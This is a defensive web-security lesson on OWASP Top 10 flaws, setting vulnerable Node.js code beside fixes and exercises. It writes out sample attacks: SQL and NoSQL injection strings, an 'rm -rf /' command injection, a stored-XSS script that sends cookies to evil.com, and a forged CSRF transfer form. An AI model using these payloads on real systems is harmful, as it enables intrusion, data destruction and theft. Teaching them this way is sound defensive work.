🛡️ Common Security Vulnerabilities
Every line of code you ship is a promise to the people who trust you with their data. Attackers spend all day looking for broken promises. In this lesson you'll meet the vulnerabilities that break most web apps — injection, XSS, CSRF, broken access control and more — see exactly how each attack works, and learn the small, disciplined habits that shut them down.
Week 9 · Day 5 (Friday: Security Best Practices) · Lecture 1
🎯 Learning Objectives
By the end of this lesson, you will be able to:
- Explain what the OWASP Top 10 is and why it guides real-world defense
- Prevent SQL, NoSQL, and command injection with parameterized queries and validation
- Stop XSS with output encoding, framework auto-escaping, and Content Security Policy
- Defend against CSRF using tokens and
SameSitecookies - Recognise broken access control (IDOR) and enforce authorization on every request
- Harden authentication, configuration, and data handling — hashing, secrets, secure headers with helmet
Estimated Time: 75 minutes
Practice: Audit a deliberately insecure endpoint and rewrite it to be safe.
In This Lesson
Why Security Is Your Job
A vulnerability is simply a gap between what your code allows and what you intended it to allow. Attackers live in that gap. You don't need to be a hacker to close it — you need to understand a handful of recurring patterns and apply a few reflexes every time you touch user input.
The industry-standard map of those patterns is the OWASP Top 10, published by the Open Worldwide Application Security Project. It ranks the vulnerability categories that cause the most real-world damage. Think of it as a checklist that has already been paid for in other people's breaches — you get to learn from them for free.
📖 The one habit that prevents most breaches
Never trust input. Any data that crosses a trust boundary — a form field, a URL parameter, a header, a file, an API response — is guilty until validated. Most of this lesson is variations on that single idea: validate what comes in, encode what goes out, and check permission every single time.
Injection: SQL, NoSQL & Command
Injection happens when untrusted data is stitched directly into a command that an interpreter runs — a SQL query, a Mongo filter, a shell command. Because the data and the code share the same string, the attacker can smuggle their own instructions in. The analogy: it's like dictating an address to a courier and having them also carry out any extra "instructions" a stranger shouts mid-sentence.
SQL Injection
The classic case: user input concatenated into a SQL string.
// ❌ VULNERABLE — user input becomes part of the query text
const username = req.body.username;
const query = "SELECT * FROM users WHERE username = '" + username + "'";
db.query(query);
If the attacker submits admin' --, the query becomes:
SELECT * FROM users WHERE username = 'admin' --'
The -- comments out the rest of the query. With a login form, a payload like ' OR '1'='1 can make the WHERE clause always true and log the attacker in as the first user in the table.
The fix is parameterized queries (also called prepared statements). You send the query and the data separately, so the database never confuses one for the other.
// ✅ SAFE — the ? is a placeholder; the driver binds the value safely
const username = req.body.username;
const query = "SELECT * FROM users WHERE username = ?";
db.query(query, [username]); // value can NEVER change the query's structure
// With an ORM like Prisma, parameterization is automatic:
const user = await prisma.user.findUnique({ where: { username } });
💥 Real-world impact: the 2017 Equifax breach
A web-application vulnerability contributed to the exposure of personal data for roughly 147 million people — names, Social Security numbers, birth dates, and more. Injection-class flaws remain near the top of OWASP precisely because a single unparameterized query can leak an entire database.
NoSQL Injection
Switching to MongoDB doesn't make injection go away — it just changes shape. If you pass a request body straight into a query, an attacker can send an object where you expected a string.
// ❌ VULNERABLE — attacker sends JSON operators as values
// Body: { "username": { "$ne": null }, "password": { "$ne": null } }
db.collection('users').find({
username: req.body.username, // becomes { $ne: null } → matches everyone
password: req.body.password
});
That $ne: null ("not equal to null") matches every user, bypassing authentication. The defenses: cast to the expected type, reject objects where you expect strings, and never compare a raw password — compare a hash.
// ✅ SAFE — force a string, and compare against a stored hash
const username = String(req.body.username);
const user = await db.collection('users').findOne({ username });
if (user && await bcrypt.compare(String(req.body.password), user.passwordHash)) {
// authenticated
}
// Also worth adding: express-mongo-sanitize strips $ and . from keys
Command Injection
When your app hands user input to a system shell, the attacker can chain their own commands with ;, &&, or backticks.
// ❌ VULNERABLE — exec() runs a shell that parses metacharacters
const { exec } = require('child_process');
exec('ls ' + req.query.filename); // filename = "; rm -rf /" → disaster
// ✅ SAFE — execFile takes args as an ARRAY (no shell), plus validate
const { execFile } = require('child_process');
const name = req.query.filename;
if (!/^[a-zA-Z0-9_.\-]+$/.test(name)) {
return res.status(400).send('Invalid filename');
}
execFile('ls', [name], (err, stdout) => { /* args can't become commands */ });
✅ The injection rule of thumb
Whenever data meets an interpreter, keep code and data in separate channels: parameterized queries for SQL, typed filters for NoSQL, argument arrays (not shell strings) for the OS. Validation is a helpful second layer — but separation is the real defense.
Cross-Site Scripting (XSS)
XSS is injection aimed at the browser. If your page includes user-supplied content without encoding it, an attacker can slip in a <script> that runs in your victim's browser — with full access to their session, cookies, and the DOM. The three flavours:
Stored XSS — the most dangerous
The payload is saved (say, in a comment) and served to everyone who views the page.
// ❌ VULNERABLE — comment text is dropped straight into HTML
app.get('/post/:id', (req, res) => {
const comments = db.getComments(req.params.id);
const html = comments.map(c => `<div class="comment">${c.text}</div>`).join('');
res.send(html); // a comment of <script>…</script> now runs for every viewer
});
A single stored comment like <script>fetch('https://evil.com?c='+document.cookie)</script> exfiltrates every viewer's cookies. The fix: encode output so < becomes < and the browser renders it as text, not markup.
// ✅ SAFE (option 1) — escape on output
const escapeHtml = require('escape-html');
const html = comments
.map(c => `<div class="comment">${escapeHtml(c.text)}</div>`)
.join('');
// ✅ SAFE (option 2) — let React escape for you (default behaviour)
function CommentList({ comments }) {
return comments.map(c => <div className="comment" key={c.id}>{c.text}</div>);
// Interpolated text is auto-escaped. The ONLY hole is dangerouslySetInnerHTML.
}
💥 Real-world impact: the Samy worm (2005)
A stored-XSS payload on MySpace spread to over a million profiles in under 24 hours — it added the attacker as a "friend" and copied itself onto each visitor's profile. It caused no data theft, yet demonstrated how a single unescaped field can turn a social network into a self-replicating worm.
If you must render user HTML: sanitize
Sometimes you genuinely need to allow some HTML (a rich-text editor, say). Never do that by hand — use a vetted sanitizer that strips scripts and dangerous attributes.
import DOMPurify from 'dompurify';
// Allowlist-based cleaning — keeps <b>, <em>, drops <script> and onclick
const clean = DOMPurify.sanitize(userHtml);
element.innerHTML = clean; // only now is innerHTML acceptable
Layered XSS defenses, strongest to weakest:
- Contextual output encoding — the primary fix; encode for HTML, attribute, or JS context
- A framework that auto-escapes — React, Vue, Angular do this by default
- Sanitize any HTML you must render (DOMPurify)
- Content Security Policy (CSP) — defense-in-depth that blocks injected scripts even if one slips through (next lesson)
- HttpOnly cookies — so stolen scripts can't read the session cookie
Cross-Site Request Forgery (CSRF)
CSRF abuses the fact that browsers attach your cookies to every request to a site — even requests triggered by a different, malicious site. The attacker can't read the response, but they can make your browser perform a state-changing action (transfer money, change email) while you're logged in.
A malicious page hides an auto-submitting form pointed at your bank:
<form action="https://bank.com/transfer" method="POST" id="f">
<input type="hidden" name="to" value="attacker">
<input type="hidden" name="amount" value="1000">
</form>
<script>document.getElementById('f').submit();</script>
Two complementary defenses stop this:
// ✅ DEFENSE 1 — SameSite cookies (mostly automatic in modern browsers)
app.use(session({
secret: process.env.SESSION_SECRET,
cookie: { httpOnly: true, secure: true, sameSite: 'lax' }
// 'lax' blocks cookies on cross-site POSTs; 'strict' is even tighter
}));
// ✅ DEFENSE 2 — a per-session CSRF token the attacker cannot guess or read
app.post('/transfer', (req, res) => {
if (req.body._csrf !== req.session.csrfToken) {
return res.status(403).send('CSRF validation failed');
}
// safe to proceed
});
💡 Why the token works
The token is a secret, random value stored in the session and embedded in your forms. Because of the Same-Origin Policy, the attacker's page cannot read your token, so their forged request can't include it — and the server rejects it. Modern stacks combine SameSite cookies with tokens (the "double-submit" pattern) for depth.
Broken Access Control (IDOR)
Broken access control is the #1 risk on the current OWASP Top 10. The common form is Insecure Direct Object Reference (IDOR): the app trusts an ID from the URL and hands back the object without checking whether this user is allowed to see it.
// ❌ VULNERABLE — change docId in the URL, read anyone's document
app.get('/api/documents/:docId', (req, res) => {
const doc = db.getDocument(req.params.docId);
res.json(doc); // no ownership check at all
});
An attacker simply increments the ID: /api/documents/1002, /1003, and walks the whole table. The fix is to authorize on every request and scope every query to the authenticated user.
// ✅ SAFE — the query itself is scoped to the current user
app.get('/api/documents/:docId', requireAuth, async (req, res) => {
const doc = await db.getDocument(req.params.docId);
if (!doc || doc.ownerId !== req.user.id) {
return res.status(404).json({ error: 'Not found' }); // don't leak existence
}
res.json(doc);
});
🔑 Principle of least privilege
Grant every user, token, and service the minimum access it needs — nothing more. Deny by default and open up deliberately. Returning 404 instead of 403 for objects a user shouldn't see also avoids confirming that an ID exists.
💥 Real-world impact: the Starbucks gift-card IDOR (2015)
A researcher found that by changing an account identifier in gift-card API requests, they could move balances between other customers' cards. It was fixed through responsible disclosure — a textbook reminder that IDs from the client are never proof of authorization.
Misconfiguration & Data Exposure
The most common class of vulnerability isn't clever code — it's careless configuration: default passwords, verbose errors, secrets in source, missing headers. And when configuration leaks sensitive data, the result is exactly the breach you read about in the news.
Don't leak internals
// ❌ VULNERABLE — stack traces and secrets exposed to the world
app.use((err, req, res, next) => {
res.status(500).send(`Error: ${err.stack}`); // gifts attackers a map
});
const dbConfig = { user: 'admin', password: 'admin' }; // hardcoded creds
// ✅ SAFE — log internally, respond generically, load secrets from env
app.use((err, req, res, next) => {
console.error(err.stack); // full detail for YOU
res.status(500).json({ error: 'Something went wrong' }); // opaque for THEM
});
const dbConfig = {
user: process.env.DB_USER,
password: process.env.DB_PASSWORD // never in source control
};
Set secure headers with helmet
Rather than remembering a dozen HTTP security headers, use helmet, which sets sensible defaults in one line.
const helmet = require('helmet');
app.use(helmet()); // CSP, X-Content-Type-Options, HSTS, frameguard, and more
// Force HTTPS in production
app.use((req, res, next) => {
if (!req.secure && process.env.NODE_ENV === 'production') {
return res.redirect('https://' + req.headers.host + req.url);
}
next();
});
Protect sensitive data at rest
Never store passwords in plaintext. Use a slow, salted, adaptive hash — bcrypt, Argon2, or PBKDF2 — designed to resist brute forcing.
const bcrypt = require('bcrypt');
async function registerUser(email, password) {
const passwordHash = await bcrypt.hash(password, 12); // 12 = cost factor
await db.query(
'INSERT INTO users (email, password_hash) VALUES (?, ?)',
[email, passwordHash] // parameterized!
);
}
// Never log full card numbers, tokens, or passwords:
console.log('charge', { last4: card.slice(-4) });
💥 Real-world impact: Heartbleed (2014)
A bug in OpenSSL let attackers read chunks of server memory — leaking private keys, session tokens, and passwords across a large share of the secure web. Lesson: keeping dependencies patched is itself a security control. Run npm audit regularly and upgrade.
Broken Authentication
If injection is about data and access control is about permission, broken authentication is about identity — weak passwords, no brute-force protection, sloppy sessions. Get it wrong and attackers become your users.
// ❌ VULNERABLE — weak policy, plaintext compare, no throttling
const ok = password.length >= 6;
if (user && user.password === password) { /* login */ }
// ✅ SAFE — rate-limit, hash-compare, secure session
const rateLimit = require('express-rate-limit');
const loginLimiter = rateLimit({
windowMs: 15 * 60 * 1000, // 15 minutes
max: 5, // 5 attempts per window per IP
message: 'Too many login attempts, try again later'
});
app.post('/login', loginLimiter, async (req, res) => {
const user = await db.getUser(req.body.username);
// bcrypt.compare is constant-time, resisting timing attacks
if (user && await bcrypt.compare(req.body.password, user.passwordHash)) {
req.session.regenerate(() => { // new session id on login = no fixation
req.session.userId = user.id;
res.json({ ok: true });
});
} else {
res.status(401).send('Invalid credentials');
}
});
// Session hardening
app.use(session({
secret: process.env.SESSION_SECRET,
name: 'sid', // don't advertise the framework
resave: false,
saveUninitialized: false,
cookie: { httpOnly: true, secure: true, sameSite: 'strict', maxAge: 3600000 }
}));
✅ Authentication checklist
- Offer multi-factor authentication for sensitive accounts
- Rate-limit and progressively delay failed logins
- Regenerate the session id on login and privilege change
- Invalidate sessions on logout, idle timeout, and absolute timeout
- Never put session ids in URLs; keep cookies
HttpOnly+Secure
Practice & Quiz
🏋️ Exercise 1: Audit a broken endpoint
Goal: This password-reset handler has at least three distinct vulnerabilities. Identify them, then rewrite it securely.
app.post('/reset-password', (req, res) => {
const { email } = req.body;
db.query('SELECT * FROM users WHERE email = "' + email + '"', (err, user) => {
if (user) {
const token = Math.random().toString(36).substring(2, 15);
db.query('UPDATE users SET reset_token = "' + token + '" WHERE email = "' + email + '"');
res.send('Reset link sent to: ' + email);
} else {
res.status(404).send('Email not found');
}
});
});
💡 Hint
Look at how email reaches the query (injection), how token is generated (predictability), and what the two different responses reveal to an attacker (user enumeration).
✅ Solution
Three flaws: (1) SQL injection via string concatenation; (2) Math.random() is not cryptographically secure, so tokens are guessable; (3) different responses for found/not-found emails enable account enumeration.
const crypto = require('crypto');
app.post('/reset-password', async (req, res) => {
const email = String(req.body.email);
// Parameterized query — no injection
const user = await db.query('SELECT id FROM users WHERE email = ?', [email]);
if (user) {
// Cryptographically strong, unguessable token
const token = crypto.randomBytes(32).toString('hex');
const expires = Date.now() + 60 * 60 * 1000; // 1 hour
await db.query(
'UPDATE users SET reset_token = ?, reset_expires = ? WHERE email = ?',
[token, expires, email]
);
await sendResetEmail(email, token);
}
// Same response either way — no enumeration
res.send('If that email exists, a reset link has been sent.');
});
🏋️ Exercise 2: Make a comment renderer XSS-safe
Goal: Write renderComment(text) that returns an HTML string safe to inject, escaping the five dangerous characters.
✅ Solution
function escapeHtml(str) {
return String(str)
.replace(/&/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''');
}
function renderComment(text) {
return `<div class="comment">${escapeHtml(text)}</div>`;
}
// In production, prefer a maintained library (escape-html) or a
// framework that auto-escapes — but knowing the mechanism matters.
🎯 Quick Quiz
Question 1: What is the primary defense against SQL injection?
Question 2: Which cookie attribute most directly mitigates CSRF?
Question 3: A user changes /api/orders/501 to /api/orders/502 and sees someone else's order. What is this?
Best Practices & Pitfalls
✅ Do
- Use parameterized queries everywhere — no string concatenation into queries
- Validate input (allowlists, type casts) and encode output for its context
- Enforce authorization on every request; scope queries to the current user
- Hash passwords with bcrypt/Argon2; keep secrets in environment variables
- Add helmet, HTTPS,
SameSitecookies, and CSRF tokens - Run
npm auditand keep dependencies patched
❌ Don't
- Trust any client-supplied value — including IDs, headers, and hidden fields
- Build HTML by concatenating unescaped user input
- Use
Math.random()for tokens — usecrypto.randomBytes() - Leak stack traces, secrets, or "user not found" hints to clients
- Roll your own crypto, CORS, or session logic when a vetted library exists
⚠️ Defense in depth
No single control is enough. Encoding and CSP; tokens and SameSite; validation and parameterization. Assume any one layer can fail, and make sure the next layer still stops the attack.
Summary
🎉 Key Takeaways
- The OWASP Top 10 is your prioritized checklist of what actually gets exploited
- Injection falls to parameterized queries, typed filters, and argument arrays
- XSS falls to output encoding, auto-escaping frameworks, sanitizers, and CSP
- CSRF falls to
SameSitecookies plus unguessable tokens - Broken access control falls to per-request authorization and least privilege
- Harden the basics: hash passwords, use helmet, keep secrets in env, patch deps
📚 Additional Resources
- OWASP Top 10 — the canonical risk list
- OWASP Cheat Sheet Series — practical, per-topic guidance
- MDN — Web security
- Helmet.js — secure HTTP headers for Express
- OWASP NodeGoat — a deliberately vulnerable Node app to practise on
🚀 What's Next?
You now know the attacks and their fixes. Two of those fixes — controlling who may call your API and locking down what your pages may load — deserve their own deep dive. Next up: CORS and CSP, the browser mechanisms behind cross-origin access and content security policy.
🛡️ Well defended!
Security isn't a feature you add at the end — it's a set of reflexes you apply on every line. You just built the most important ones.